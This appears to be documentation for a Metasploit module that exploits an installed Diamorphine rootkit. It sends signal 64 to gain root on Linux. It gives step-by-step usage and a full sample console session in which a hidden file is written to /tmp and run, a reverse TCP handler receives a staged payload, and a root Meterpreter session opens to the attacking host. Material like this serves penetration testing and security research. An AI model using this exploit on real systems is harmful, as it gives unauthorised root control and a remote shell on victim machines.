## Vulnerable Application

  [Diamorphine](https://github.com/m0nad/Diamorphine) is a Linux Kernel Module (LKM) rootkit.

  This module uses Diamorphine rootkit's privesc feature using signal
  64 to elevate the privileges of arbitrary processes to UID 0 (root).

  This module has been tested successfully with Diamorphine from `master`
  branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use exploit/linux/local/diamorphine_rootkit_signal_priv_esc`
  4. `set SESSION [SESSION]`
  5. `check`
  6. `run`
  7. You should get a new *root* session


## Options

  **SIGNAL**

  Diamorphine elevate signal. (default: `64`)


## Scenarios

### Linux Mint 19 (x64)

  ```
  msf5 > use exploit/linux/local/diamorphine_rootkit_signal_priv_esc
  msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > check

  [*] Executing id ...
  uid=0(root) gid=0(root) groups=0(root),1001(test)
  [+] The target is vulnerable. Diamorphine is installed and configured to handle signal '64'.
  msf5 exploit(linux/local/diamorphine_rootkit_signal_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.165:4444 
  [*] Executing id ...
  uid=0(root) gid=0(root) groups=0(root),1001(test)
  [*] Writing '/tmp/.hwL5UoDL6mfZ' (207 bytes) ...
  [*] Executing /tmp/.hwL5UoDL6mfZ & echo  ...
  [*] Transmitting intermediate stager...(106 bytes)
  [*] Sending stage (985320 bytes) to 172.16.191.228
  [*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.228:47694) at 2020-02-16 09:28:59 -0500

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.228
  OS           : LinuxMint 19 (Linux 4.15.0-20-generic)
  Architecture : x64
  BuildTuple   : i486-linux-musl
  Meterpreter  : x86/linux
  meterpreter >
  ```

